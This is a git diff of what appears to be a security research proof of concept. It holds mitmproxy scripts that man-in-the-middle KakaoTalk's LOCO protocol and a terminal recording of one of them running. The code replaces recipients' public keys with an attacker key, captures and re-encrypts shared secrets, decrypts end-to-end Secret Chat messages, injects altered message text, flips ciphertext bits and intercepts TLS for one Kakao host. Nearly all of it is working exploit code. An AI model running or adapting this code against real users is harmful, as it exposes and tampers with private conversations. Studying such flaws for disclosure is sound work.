data.ignore_connection = True
|
||||
|
||||
|
||||
class InjectMessage(LocoMitmBase):
|
||||
def __init__(self, trigger_msg, new_msg) -> None:
|
||||
self.parser = LocoParser()
|
||||
self.trigger_msg = trigger_msg
|
||||
self.new_msg = new_msg
|
||||
|
||||
def tcp_message(self, flow: tcp.TCPFlow):
|
||||
message = flow.messages[-1]
|
||||
self.parser.parse(message.content)
|
||||
|
||||
if self.parser.loco_packet:
|
||||
logging.info(
|
||||
"from_client=%s, content=%s",
|
||||
message.from_client,
|
||||
self.parser.loco_packet.get_packet_as_dict(),
|
||||
)
|
||||
else:
|
||||
logging.warning(
|
||||
"from_client=%s, raw packet bytes=%s",
|
||||
message.from_client,
|
||||
strutils.bytes_to_escaped_str(message.content),
|
||||
)
|
||||
|
||||
return
|
||||
|
||||
# Inject a new message to show that there are no integrity checks on the ciphertext
|
||||
tampered_packet = self.parser.inject_message(self.trigger_msg, self.new_msg)
|
||||
|
||||
if tampered_packet:
|
||||
message.content = tampered_packet
|
||||
|
||||
|
||||
addons = [InjectMessage(trigger_msg="foo", new_msg="bar")]
|
|
@ -5,7 +5,7 @@ from cryptography.hazmat.primitives.asymmetric import padding, rsa
|
|||
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
|
||||
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
|
||||
|
||||
# Key used by Frida script to patch AES encryption key
|
||||
# Key used by Frida script to patch KakaoTalk's AES encryption key
|
||||
_AES_KEY = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
|
||||
|
|
|
@ -5,23 +5,29 @@ import re
|
|||
import struct
|
||||
|
||||
import bson
|
||||
|
||||
from .crypto_utils import (aes_decrypt, aes_e2e_decrypt, aes_encrypt,
|
||||
compute_key, compute_nonce, get_rsa_public_key_pem,
|
||||
rsa_decrypt, rsa_encrypt)
|
||||
from lib.crypto_utils import (
|
||||
aes_decrypt,
|
||||
aes_e2e_decrypt,
|
||||
aes_encrypt,
|
||||
compute_key,
|
||||
compute_nonce,
|
||||
get_rsa_public_key_pem,
|
||||
rsa_decrypt,
|
||||
rsa_encrypt,
|
||||
)
|
||||
|
||||
|
||||
class LocoPacket:
|
||||
def __init__(
|
||||
self,
|
||||
id=0,
|
||||
identifier=0,
|
||||
status_code=0,
|
||||
loco_command="",
|
||||
body_type=0,
|
||||
body_length=0,
|
||||
body_payload=b"",
|
||||
):
|
||||
self.id = id
|
||||
self.id = identifier
|
||||
self.status_code = status_code
|
||||
self.loco_command = loco_command
|
||||
self.body_type = body_type
|
||||
|
@ -56,8 +62,9 @@ class LocoPacket:
|
|||
):
|
||||
loco_dict["body_payload"] = self.body_payload
|
||||
except Exception as general_exception:
|
||||
loco_dict = {}
|
||||
logging.error(
|
||||
"Could not decode BSON body of packet %s: %s",
|
||||
"Couldn't decode BSON body of packet %s: %s",
|
||||
self.loco_command,
|
||||
general_exception,
|
||||
)
|
||||
|
@ -112,9 +119,9 @@ class LocoEncryptedPacket:
|
|||
|
||||
|
||||
class LocoHandshakePacket:
|
||||
def __init__(self, length=256, type=0, block_cipher_mode=0, payload=b""):
|
||||
def __init__(self, length=256, handshake_type=0, block_cipher_mode=0, payload=b""):
|
||||
self.length = length
|
||||
self.type = type
|
||||
self.type = handshake_type
|
||||
self.block_cipher_mode = block_cipher_mode
|
||||
self.payload = payload
|
||||
|
||||
|
@ -130,29 +137,34 @@ class LocoParser:
|
|||
|
||||
def parse_loco_packet(self, data):
|
||||
if not data:
|
||||
logging.error("Could not parse LOCO encrypted packet: Packet data is None.")
|
||||
logging.error("Couldn't parse LOCO encrypted packet: Packet data is None.")
|
||||
return None
|
||||
|
||||
try:
|
||||
id = struct.unpack("<I", data[:4])[0]
|
||||
identifier = struct.unpack("<I", data[:4])[0]
|
||||
status_code = struct.unpack("<H", data[4:6])[0]
|
||||
loco_command = data[6:17].decode().replace("\0", "")
|
||||
body_type = struct.unpack("<b", data[17:18])[0]
|
||||
body_length = struct.unpack("<i", data[18:22])[0]
|
||||
body_payload = data[22:]
|
||||
return LocoPacket(
|
||||
id, status_code, loco_command, body_type, body_length, body_payload
|
||||
identifier,
|
||||
status_code,
|
||||
loco_command,
|
||||
body_type,
|
||||
body_length,
|
||||
body_payload,
|
||||
)
|
||||
except Exception as general_exception:
|
||||
logging.error(
|
||||
"Could not parse LOCO packet: %s \nAre you running Frida to patch the AES key?",
|
||||
"Couldn't parse LOCO packet: %s \nAre you running Frida in parallel to patch the AES key?",
|
||||
general_exception,
|
||||
)
|
||||
return None
|
||||
|
||||
def parse_loco_encrypted_packet(self, data):
|
||||
if not data:
|
||||
logging.error("Could not parse LOCO encrypted packet: Packet data is None.")
|
||||
logging.error("Couldn't parse LOCO encrypted packet: Packet data is None.")
|
||||
return None
|
||||
|
||||
try:
|
||||
|
@ -161,25 +173,21 @@ class LocoParser:
|
|||
payload = data[20:]
|
||||
return LocoEncryptedPacket(length, iv, payload)
|
||||
except Exception as general_exception:
|
||||
logging.error(
|
||||
"Could not parse LOCO encrypted packet: %s", general_exception
|
||||
)
|
||||
logging.error("Couldn't parse LOCO encrypted packet: %s", general_exception)
|
||||
return None
|
||||
|
||||
def parse_handshake_packet(self, data):
|
||||
if not data:
|
||||
logging.error("Could not parse LOCO handshake packet: Packet data is None.")
|
||||
logging.error("Couldn't parse LOCO handshake packet: Packet data is None.")
|
||||
return None
|
||||
|
||||
try:
|
||||
type = struct.unpack("<I", data[4:8])[0]
|
||||
handshake_type = struct.unpack("<I", data[4:8])[0]
|
||||
block_cipher_mode = struct.unpack("<I", data[8:12])[0]
|
||||
payload = data[22:]
|
||||
return LocoHandshakePacket(type, block_cipher_mode, payload)
|
||||
return LocoHandshakePacket(handshake_type, block_cipher_mode, payload)
|
||||
except Exception as general_exception:
|
||||
logging.error(
|
||||
"Could not parse LOCO handshake packet: %s", general_exception
|
||||
)
|
||||
logging.error("Couldn't parse LOCO handshake packet: %s", general_exception)
|
||||
return None
|
||||
|
||||
def parse(self, data):
|
||||
|
@ -197,17 +205,23 @@ class LocoParser:
|
|||
if not self.loco_packet:
|
||||
return None
|
||||
|
||||
if not self.loco_packet.loco_command in ["MSG", "LOGINLIST"]:
|
||||
if self.loco_packet.loco_command not in ["MSG", "LOGINLIST", "WRITE"]:
|
||||
return None
|
||||
|
||||
body_json = self.loco_packet.body_payload
|
||||
|
||||
# MSG LOCO packet
|
||||
if (
|
||||
"chatLog" in body_json
|
||||
and body_json["chatLog"]["message"] == trigger_message
|
||||
):
|
||||
body_json["chatLog"]["message"] = payload
|
||||
|
||||
# WRITE LOCO packet
|
||||
if "msg" in body_json and body_json["msg"] == trigger_message:
|
||||
body_json["msg"] = payload
|
||||
|
||||
# LOGINLIST LOCO packet
|
||||
if "chatDatas" in body_json and body_json["chatDatas"]:
|
||||
if (
|
||||
"l" in body_json["chatDatas"][0]
|
||||
|
@ -216,7 +230,7 @@ class LocoParser:
|
|||
):
|
||||
body_json["chatDatas"][0]["l"]["message"] = payload
|
||||
|
||||
self.loco_packet.body_payload = self.bson_encode(body_json)
|
||||
self.loco_packet.body_payload = bson.dumps(body_json)
|
||||
self.loco_packet.body_length = len(self.loco_packet.body_payload)
|
||||
return self.loco_encrypted_packet.create_new_packet(self.loco_packet)
|
||||
|
||||
|
@ -224,11 +238,11 @@ class LocoParser:
|
|||
return bytes((x ^ y) for (x, y) in zip(param1, param2))
|
||||
|
||||
def flip_bits(self):
|
||||
if not self.loco_packet.loco_command == "MSG":
|
||||
if self.loco_packet.loco_command != "MSG":
|
||||
return None
|
||||
|
||||
if self.loco_packet.body_length != 221:
|
||||
logging.error(f"I'm NOT here: {self.loco_packet.body_length}")
|
||||
logging.error("I'm NOT here: %s", self.loco_packet.body_length)
|
||||
return None
|
||||
else:
|
||||
logging.error("I'm here!")
|
||||
|
@ -267,9 +281,7 @@ class LocoParser:
|
|||
return (None, None, None)
|
||||
|
||||
if isinstance(self.loco_packet.body_payload, bytes):
|
||||
self.loco_packet.body_payload = self.bson_decode(
|
||||
self.loco_packet.body_payload
|
||||
)
|
||||
self.loco_packet.body_payload = bson.loads(self.loco_packet.body_payload)
|
||||
|
||||
if not self.loco_packet.loco_command in {
|
||||
"GETPK",
|
||||
|
@ -288,7 +300,7 @@ class LocoParser:
|
|||
|
||||
mitm_public_key_cleaned = self.get_clean_public_key(key_pair)
|
||||
|
||||
logging.info("MITM public key: %s", mitm_public_key_cleaned)
|
||||
# logging.info("MITM public key: %s", mitm_public_key_cleaned)
|
||||
|
||||
original_public_key = self.loco_packet.body_payload["pi"][0]["ek"]
|
||||
user_id = self.loco_packet.body_payload["pi"][0]["u"]
|
||||
|
@ -298,7 +310,7 @@ class LocoParser:
|
|||
logging.error("Original and MITM public key don't have the same length!")
|
||||
return (None, None, None)
|
||||
|
||||
self.loco_packet.body_payload = self.bson_encode(self.loco_packet.body_payload)
|
||||
self.loco_packet.body_payload = bson.dumps(self.loco_packet.body_payload)
|
||||
self.loco_packet.body_length = len(self.loco_packet.body_payload)
|
||||
|
||||
return (
|
||||
|
@ -312,26 +324,20 @@ class LocoParser:
|
|||
return None
|
||||
|
||||
if isinstance(self.loco_packet.body_payload, bytes):
|
||||
logging.error("Could not parse LOCO packet body.")
|
||||
logging.error("Couldn't parse LOCO packet body.")
|
||||
return None
|
||||
|
||||
if self.loco_packet.loco_command not in {"SCREATE", "CHATONROOM"}:
|
||||
return None
|
||||
|
||||
if self.loco_packet.body_payload.get("pi"):
|
||||
logging.info(
|
||||
"Removing public key from %s packet.", self.loco_packet.loco_command
|
||||
)
|
||||
self.loco_packet.body_payload.pop("pi")
|
||||
|
||||
if self.loco_packet.body_payload.get("si"):
|
||||
logging.info(
|
||||
logging.warning(
|
||||
"Removing stored shared secret from %s packet.",
|
||||
self.loco_packet.loco_command,
|
||||
)
|
||||
self.loco_packet.body_payload.pop("si")
|
||||
|
||||
self.loco_packet.body_payload = self.bson_encode(self.loco_packet.body_payload)
|
||||
self.loco_packet.body_payload = bson.dumps(self.loco_packet.body_payload)
|
||||
self.loco_packet.body_length = len(self.loco_packet.body_payload)
|
||||
|
||||
return self.loco_encrypted_packet.create_new_packet(self.loco_packet)
|
||||
|
@ -347,7 +353,7 @@ class LocoParser:
|
|||
return None
|
||||
|
||||
if isinstance(self.loco_packet.body_payload, bytes):
|
||||
logging.error("Could not parse LOCO packet body.")
|
||||
logging.error("Couldn't parse LOCO packet body.")
|
||||
return None
|
||||
|
||||
if self.loco_packet.loco_command != "SETSK":
|
||||
|
@ -368,7 +374,7 @@ class LocoParser:
|
|||
try:
|
||||
shared_secret = rsa_decrypt(encrypted_shared_secret, rsa_key_pair)
|
||||
except ValueError as value_error:
|
||||
logging.exception(value_error)
|
||||
# logging.exception(value_error)
|
||||
return None
|
||||
|
||||
return base64.b64encode(shared_secret)
|
||||
|
@ -378,7 +384,7 @@ class LocoParser:
|
|||
return None
|
||||
|
||||
if isinstance(self.loco_packet.body_payload, bytes):
|
||||
logging.error("Could not parse LOCO packet body.")
|
||||
logging.error("Couldn't parse LOCO packet body.")
|
||||
return None
|
||||
|
||||
if self.loco_packet.loco_command != "SETSK":
|
||||
|
@ -389,7 +395,7 @@ class LocoParser:
|
|||
)
|
||||
self.loco_packet.body_payload["sk"][0] = shared_secret
|
||||
|
||||
self.loco_packet.body_payload = self.bson_encode(self.loco_packet.body_payload)
|
||||
self.loco_packet.body_payload = bson.dumps(self.loco_packet.body_payload)
|
||||
self.loco_packet.body_length = len(self.loco_packet.body_payload)
|
||||
|
||||
return self.loco_encrypted_packet.create_new_packet(self.loco_packet)
|
||||
|
@ -410,7 +416,7 @@ class LocoParser:
|
|||
):
|
||||
secret_message = base64.b64decode(self.loco_packet.body_payload["m"])
|
||||
msg_id = self.loco_packet.body_payload["mid"]
|
||||
# chat_id = self.loco_packet.body_payload["c"]
|
||||
chat_id = self.loco_packet.body_payload["c"]
|
||||
|
||||
# Get receiver's E2E message
|
||||
if (
|
||||
|
@ -421,16 +427,28 @@ class LocoParser:
|
|||
self.loco_packet.body_payload["chatLog"]["message"]
|
||||
)
|
||||
msg_id = self.loco_packet.body_payload["chatLog"]["msgId"]
|
||||
# chat_id = self.loco_packet.body_payload["chatId"]
|
||||
chat_id = self.loco_packet.body_payload["chatId"]
|
||||
|
||||
nonce = compute_nonce(shared_secret, msg_id)
|
||||
# KakaoTalk uses either the msgId or chatId to compute the nonce
|
||||
nonce_with_msg_id = compute_nonce(shared_secret, msg_id)
|
||||
nonce_with_chat_id = compute_nonce(shared_secret, chat_id)
|
||||
|
||||
logging.info("Nonce: %s", base64.b64encode(nonce))
|
||||
# logging.info("Nonce with msgId: %s", base64.b64encode(nonce_with_msg_id))
|
||||
# logging.info("Nonce with chatId: %s", base64.b64encode(nonce_with_chat_id))
|
||||
|
||||
return aes_e2e_decrypt(secret_message, e2e_encryption_key, nonce)
|
||||
decrypted_msg_1 = aes_e2e_decrypt(
|
||||
secret_message, e2e_encryption_key, nonce_with_msg_id
|
||||
)
|
||||
decrypted_msg_2 = aes_e2e_decrypt(
|
||||
secret_message, e2e_encryption_key, nonce_with_chat_id
|
||||
)
|
||||
|
||||
try:
|
||||
decoded_msg = decrypted_msg_1.decode("utf-8")
|
||||
except UnicodeDecodeError:
|
||||
decoded_msg = decrypted_msg_2.decode("utf-8")
|
||||
|
||||
return decoded_msg
|
||||
|
||||
def bson_encode(self, data):
|
||||
return bson.dumps(data)
|
||||
|
||||
def bson_decode(self, data):
|
||||
return bson.loads(data)
|
||||
|
|
|
@ -31,7 +31,7 @@ class SecretChatMitm(LocoMitmBase):
|
|||
def compute_e2e_encryption_key(self, shared_secret):
|
||||
if not self.e2e_encryption_key:
|
||||
self.e2e_encryption_key = self.parser.get_e2e_encryption_key(shared_secret)
|
||||
logging.info(
|
||||
logging.warning(
|
||||
"Shared secret: %s E2E encryption key: %s",
|
||||
shared_secret,
|
||||
base64.b64encode(self.e2e_encryption_key),
|
||||
|
@ -41,11 +41,14 @@ class SecretChatMitm(LocoMitmBase):
|
|||
message = flow.messages[-1]
|
||||
self.parser.parse(message.content)
|
||||
|
||||
# Log LOCO packets to STDOUT
|
||||
if self.parser.loco_packet:
|
||||
decoded_loco_packet = self.parser.loco_packet.get_packet_as_dict()
|
||||
|
||||
logging.info(
|
||||
"from_client=%s, content=%s",
|
||||
message.from_client,
|
||||
self.parser.loco_packet.get_packet_as_dict(),
|
||||
decoded_loco_packet,
|
||||
)
|
||||
else:
|
||||
logging.warning(
|
||||
|
@ -53,14 +56,27 @@ class SecretChatMitm(LocoMitmBase):
|
|||
message.from_client,
|
||||
strutils.bytes_to_escaped_str(message.content),
|
||||
)
|
||||
|
||||
return
|
||||
|
||||
# If there's already a shared secret stored on the server remove it from the LOCO packet
|
||||
if not message.from_client and self.parser.loco_packet.loco_command in {
|
||||
"SCREATE",
|
||||
"CHATONROOM",
|
||||
}:
|
||||
# Drop LOCO packets that can't be decoded
|
||||
if not decoded_loco_packet:
|
||||
logging.warning(
|
||||
"Dropping %s packet as we cannot decode the packet body.",
|
||||
self.parser.loco_packet.loco_command,
|
||||
)
|
||||
message.content = b""
|
||||
return
|
||||
|
||||
# If there's already a shared secret stored on the server-side remove it
|
||||
if (
|
||||
not self.e2e_encryption_key
|
||||
and not message.from_client
|
||||
and self.parser.loco_packet.loco_command
|
||||
in {
|
||||
"SCREATE",
|
||||
"CHATONROOM",
|
||||
}
|
||||
):
|
||||
if isinstance(self.parser.loco_packet.body_payload, bytes):
|
||||
logging.warning(
|
||||
"Dropping %s packet as we cannot decode the packet body.",
|
||||
|
@ -73,15 +89,29 @@ class SecretChatMitm(LocoMitmBase):
|
|||
|
||||
if tampered_packet:
|
||||
message.content = tampered_packet
|
||||
self.parser.parse(message.content)
|
||||
|
||||
# Drop server-side "SETSK" LOCO packets
|
||||
if (
|
||||
not self.e2e_encryption_key
|
||||
and not message.from_client
|
||||
and self.parser.loco_packet.loco_command == "SETSK"
|
||||
):
|
||||
logging.warning("Dropping server-side SETSK packet.")
|
||||
message.content = b""
|
||||
return
|
||||
|
||||
# Get recipient's public key and replace it with our MITM public key
|
||||
if (
|
||||
not self.master_secret
|
||||
not self.e2e_encryption_key
|
||||
and not message.from_client
|
||||
and self.parser.loco_packet.loco_command
|
||||
in {"GETPK", "GETLPK", "SCREATE", "CHATONROOM"}
|
||||
):
|
||||
logging.info("Trying to parse recipient's public key from LOCO packet...")
|
||||
logging.warning(
|
||||
"Trying to parse recipient's public key from %s packet...",
|
||||
self.parser.loco_packet.loco_command,
|
||||
)
|
||||
(
|
||||
recipient_public_key,
|
||||
self.recipient_user_id,
|
||||
|
@ -111,30 +141,40 @@ class SecretChatMitm(LocoMitmBase):
|
|||
)
|
||||
return
|
||||
|
||||
logging.info("Injecting MITM public key...")
|
||||
logging.warning(
|
||||
"Injecting MITM public key into %s packet...",
|
||||
self.parser.loco_packet.loco_command,
|
||||
)
|
||||
message.content = tampered_packet
|
||||
# logging.info("Tampered packet: %s", self.parser.loco_packet.get_packet_as_dict())
|
||||
|
||||
# Grab the shared secret from the "SETSK" packet
|
||||
if (
|
||||
self.recipient_public_key
|
||||
and not self.master_secret
|
||||
and not self.e2e_encryption_key
|
||||
and message.from_client
|
||||
and self.parser.loco_packet.loco_command == "SETSK"
|
||||
):
|
||||
logging.info("Trying to parse shared secret from LOCO packet...")
|
||||
logging.warning(
|
||||
"Trying to decrypt shared secret from %s packet...",
|
||||
self.parser.loco_packet.loco_command,
|
||||
)
|
||||
|
||||
shared_secret = self.parser.get_shared_secret(self.rsa_key_pair)
|
||||
|
||||
if not shared_secret:
|
||||
logging.error("Couldn't parse shared secret from LOCO packet.")
|
||||
logging.error(
|
||||
"Couldn't decrypt shared secret from %s packet. Dropping it...",
|
||||
self.parser.loco_packet.loco_command,
|
||||
)
|
||||
message.content = b""
|
||||
return
|
||||
|
||||
self.shared_secret = shared_secret
|
||||
logging.info("Shared secret: %s", self.shared_secret)
|
||||
logging.warning("Shared secret: %s", self.shared_secret)
|
||||
|
||||
# Re-encrypt shared secret with the recipient's original public key
|
||||
logging.info("Trying to re-encrypt shared secret...")
|
||||
logging.warning("Trying to re-encrypt shared secret...")
|
||||
|
||||
tampered_packet = self.parser.encrypt_shared_secret(
|
||||
self.shared_secret, self.recipient_public_key
|
||||
|
@ -142,15 +182,15 @@ class SecretChatMitm(LocoMitmBase):
|
|||
|
||||
if tampered_packet:
|
||||
message.content = tampered_packet
|
||||
logging.info(
|
||||
logging.warning(
|
||||
"Re-encrypted shared secret with recipient's original public key."
|
||||
)
|
||||
|
||||
# Compute E2E encryption key
|
||||
if self.shared_secret:
|
||||
if not self.e2e_encryption_key and self.shared_secret:
|
||||
self.compute_e2e_encryption_key(self.shared_secret)
|
||||
|
||||
if self.master_secret:
|
||||
if not self.e2e_encryption_key and self.master_secret:
|
||||
self.compute_e2e_encryption_key(self.master_secret)
|
||||
|
||||
# Decrypt Secret Chat end-to-end encrypted message
|
||||
|
@ -161,7 +201,7 @@ class SecretChatMitm(LocoMitmBase):
|
|||
and self.parser.loco_packet.loco_command == "MSG"
|
||||
)
|
||||
):
|
||||
logging.info("Trying to decrypt Secret Chat message...")
|
||||
logging.warning("Trying to decrypt Secret Chat message...")
|
||||
decrypted_e2e_message = ""
|
||||
|
||||
if self.master_secret:
|
||||
|
@ -174,91 +214,11 @@ class SecretChatMitm(LocoMitmBase):
|
|||
)
|
||||
|
||||
if decrypted_e2e_message:
|
||||
logging.info(
|
||||
logging.warning(
|
||||
"from_client=%s, Secret Chat message=%s",
|
||||
message.from_client,
|
||||
decrypted_e2e_message,
|
||||
)
|
||||
|
||||
|
||||
class InjectMessage(LocoMitmBase):
|
||||
def __init__(self) -> None:
|
||||
self.parser = LocoParser()
|
||||
|
||||
def tcp_message(self, flow: tcp.TCPFlow):
|
||||
message = flow.messages[-1]
|
||||
self.parser.parse(message.content)
|
||||
|
||||
if self.parser.loco_packet:
|
||||
logging.info(
|
||||
"from_client=%s, content=%s",
|
||||
message.from_client,
|
||||
self.parser.loco_packet.get_packet_as_dict(),
|
||||
)
|
||||
else:
|
||||
logging.warning(
|
||||
"from_client=%s, raw packet bytes=%s",
|
||||
message.from_client,
|
||||
strutils.bytes_to_escaped_str(message.content),
|
||||
)
|
||||
|
||||
return
|
||||
|
||||
# Inject a new message to show that there are no integrity checks on the ciphertext
|
||||
tampered_packet = self.parser.inject_message("foo", "bar")
|
||||
|
||||
if tampered_packet:
|
||||
message.content = tampered_packet
|
||||
|
||||
|
||||
class FlipCiphertextBits(LocoMitmBase):
|
||||
def tcp_message(self, flow: tcp.TCPFlow):
|
||||
message = flow.messages[-1]
|
||||
self.parser.parse(message.content)
|
||||
|
||||
if self.parser.loco_packet:
|
||||
logging.info(
|
||||
"from_client=%s, content=%s",
|
||||
message.from_client,
|
||||
self.parser.loco_packet.get_packet_as_dict(),
|
||||
)
|
||||
else:
|
||||
logging.warning(
|
||||
"from_client=%s, raw packet bytes=%s",
|
||||
message.from_client,
|
||||
strutils.bytes_to_escaped_str(message.content),
|
||||
)
|
||||
|
||||
return
|
||||
|
||||
# Flip bits of the ciphertext to show CFB malleability
|
||||
flipped_packet = self.parser.flip_bits()
|
||||
|
||||
if flipped_packet:
|
||||
message.content = flipped_packet
|
||||
|
||||
|
||||
class TLSIntercept:
|
||||
@staticmethod
|
||||
def get_addr(server: connection.Server):
|
||||
return server.peername or server.address
|
||||
|
||||
def tls_clienthello(self, data: tls.ClientHelloData):
|
||||
if data.context.client.sni == "buy.kakao.com":
|
||||
logging.info("MITM buy.kakao.com")
|
||||
return
|
||||
else:
|
||||
server_address = self.get_addr(data.context.server)
|
||||
logging.info(
|
||||
"Skip TLS intercept for %s.", human.format_address(server_address)
|
||||
)
|
||||
data.ignore_connection = True
|
||||
|
||||
|
||||
test_secret = b"AAAAAAAAAAAAAAAAAAAAAA=="
|
||||
test_e2e_key = base64.b64decode("H1mnODpo+XZ+SEF8nR8p/ZYpNpAaLBLgB98E0tF+7Ek=")
|
||||
|
||||
# addons = [SecretChatMitm(rsa_key_pair=get_rsa_key_pair())]
|
||||
# addons = [InjectMessage()]
|
||||
# addons = [FlipCiphertextBits()]
|
||||
addons = [TLSIntercept()]
|
||||
addons = [SecretChatMitm(rsa_key_pair=get_rsa_key_pair())]
|
27
scripts/mitmproxy/mitm_single_tls_host.py
Normal file
27
scripts/mitmproxy/mitm_single_tls_host.py
Normal file
|
@ -0,0 +1,27 @@
|
|||
import logging
|
||||
|
||||
from mitmproxy import connection, tls
|
||||
from mitmproxy.utils import human
|
||||
|
||||
|
||||
class TLSIntercept:
|
||||
def __init__(self, host) -> None:
|
||||
self.host = host
|
||||
|
||||
@staticmethod
|
||||
def get_addr(server: connection.Server):
|
||||
return server.peername or server.address
|
||||
|
||||
def tls_clienthello(self, data: tls.ClientHelloData):
|
||||
if data.context.client.sni == self.host:
|
||||
logging.info("MITM host: %s", self.host)
|
||||
return
|
||||
else:
|
||||
server_address = self.get_addr(data.context.server)
|
||||
logging.info(
|
||||
"Skip TLS intercept for %s.", human.format_address(server_address)
|
||||
)
|
||||
data.ignore_connection = True
|
||||
|
||||
|
||||
addons = [TLSIntercept(host="buy.kakao.com")]
|
|
@ -1,8 +1,5 @@
|
|||
# pyproject.toml
|
||||
[tool.pytest.ini_options]
|
||||
pythonpath = [
|
||||
".", "lib",
|
||||
]
|
||||
testpaths = [
|
||||
"tests",
|
||||
".",
|
||||
]
|
69
scripts/mitmproxy/secret_chat_demo.cast
Normal file
69
scripts/mitmproxy/secret_chat_demo.cast
Normal file
|
@ -0,0 +1,69 @@
|
|||
{"version": 2, "width": 104, "height": 62, "timestamp": 1703089612, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
|
||||
[0.019275, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
|
||||
[0.019992, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[Jfoo@bar % \u001b[K\u001b[?2004h"]
|
||||
[0.835898, "o", "\u001b[7mmitmdump -m wireguard -s mitm_secret_chat.py\u001b[27m"]
|
||||
[1.617137, "o", "\u001b[44D\u001b[27mm\u001b[27mi\u001b[27mt\u001b[27mm\u001b[27md\u001b[27mu\u001b[27mm\u001b[27mp\u001b[27m \u001b[27m-\u001b[27mm\u001b[27m \u001b[27mw\u001b[27mi\u001b[27mr\u001b[27me\u001b[27mg\u001b[27mu\u001b[27ma\u001b[27mr\u001b[27md\u001b[27m \u001b[27m-\u001b[27ms\u001b[27m \u001b[27mm\u001b[27mi\u001b[27mt\u001b[27mm\u001b[27m_\u001b[27ms\u001b[27me\u001b[27mc\u001b[27mr\u001b[27me\u001b[27mt\u001b[27m_\u001b[27mc\u001b[27mh\u001b[27ma\u001b[27mt\u001b[27m.\u001b[27mp\u001b[27my\u001b[?2004l\r\r\n"]
|
||||
[2.054512, "o", "\u001b[36m\u001b[2m[17:26:54.800]\u001b[0m Loading script mitm_secret_chat.py\u001b[0m\r\n"]
|
||||
[2.139824, "o", "\u001b[36m\u001b[2m[17:26:54.886]\u001b[0m ------------------------------------------------------------\r\n[Interface]\r\nPrivateKey = Yx0cLHgi3RK0wOIlK+8+jaUPiGb6gk9pDe4APa+17Xo=\r\nAddress = 10.0.0.1/32\r\nDNS = 10.0.0.53\r\n\r\n[Peer]\r\nPublicKey = 0GG6e0oM1sT8YBx0hKZkYGtYIDp1umAfeg9Bxi4aCUA=\r\nAllowedIPs = 0.0.0.0/0\r\nEndpoint = 192.168.178.20:51820\r\n------------------------------------------------------------\u001b[0m\r\n"]
|
||||
[2.139979, "o", "\u001b[36m\u001b[2m[17:26:54.886]\u001b[0m WireGuard server listening at *:51820.\u001b[0m\r\n"]
|
||||
[2.936682, "o", "\u001b[36m\u001b[2m[17:27:01.682]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37532]\u001b[0m client connect\u001b[0m\r\n"]
|
||||
[3.31688, "o", "\u001b[36m\u001b[2m[17:27:02.062]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37532]\u001b[0m server connect 203.133.176.212:5228\u001b[0m\r\n\u001b[36m\u001b[2m[17:27:02.062]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:43596]\u001b[0m client disconnect\u001b[0m\r\n"]
|
||||
[3.317891, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[3.318393, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[3.678494, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
|
||||
[3.790623, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[3.798489, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[3.819455, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[4.13633, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
|
||||
[4.153191, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
|
||||
[5.495991, "o", "\u001b[36m\u001b[2m[17:27:05.242]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:15687]\u001b[0m client connect\u001b[0m\r\n"]
|
||||
[5.660868, "o", "10.0.0.1:15687: \u001b[32mDNS QUERY (A)\u001b[0m \u001b[1mopen.kakao.com\u001b[0m\r\n\u001b[1m <<\u001b[0m \u001b[94m211.249.222.27\u001b[0m, \u001b[94m211.249.222.27\u001b[0m\r\n"]
|
||||
[5.663238, "o", "\u001b[36m\u001b[2m[17:27:05.409]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:41526]\u001b[0m client connect\u001b[0m\r\n"]
|
||||
[6.000929, "o", "\u001b[36m\u001b[2m[17:27:05.747]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:41526]\u001b[0m server connect 211.249.222.27:443\u001b[0m\r\n"]
|
||||
[6.001646, "o", "\u001b[36m\u001b[2m[17:27:05.747]\u001b[0m Skip TLS intercept for 211.249.222.27:443.\u001b[0m\r\n"]
|
||||
[7.512348, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[7.869379, "o", "\u001b[36m\u001b[2m[17:27:08.615]\u001b[0m \u001b[33mTrying to parse recipient's public key from GETLPK packet...\u001b[0m\r\n"]
|
||||
[7.871747, "o", "\u001b[36m\u001b[2m[17:27:08.617]\u001b[0m \u001b[33mInjecting MITM public key into GETLPK packet...\u001b[0m\r\n"]
|
||||
[7.872163, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
|
||||
[8.375168, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
[8.784781, "o", "\u001b[36m\u001b[2m[17:27:13.530]\u001b[0m \u001b[33mRemoving stored shared secret from SCREATE packet.\u001b[0m\r\n"]
|
||||
[8.785688, "o", "\u001b[36m\u001b[2m[17:27:13.531]\u001b[0m \u001b[33mTrying to parse recipient's public key from SCREATE packet...\u001b[0m\r\n"]
|
||||
[8.786891, "o", "\u001b[36m\u001b[2m[17:27:13.533]\u001b[0m \u001b[33mInjecting MITM public key into SCREATE packet...\u001b[0m\r\n"]
|
||||
[8.787123, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
|
||||
[8.796792, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
|
||||
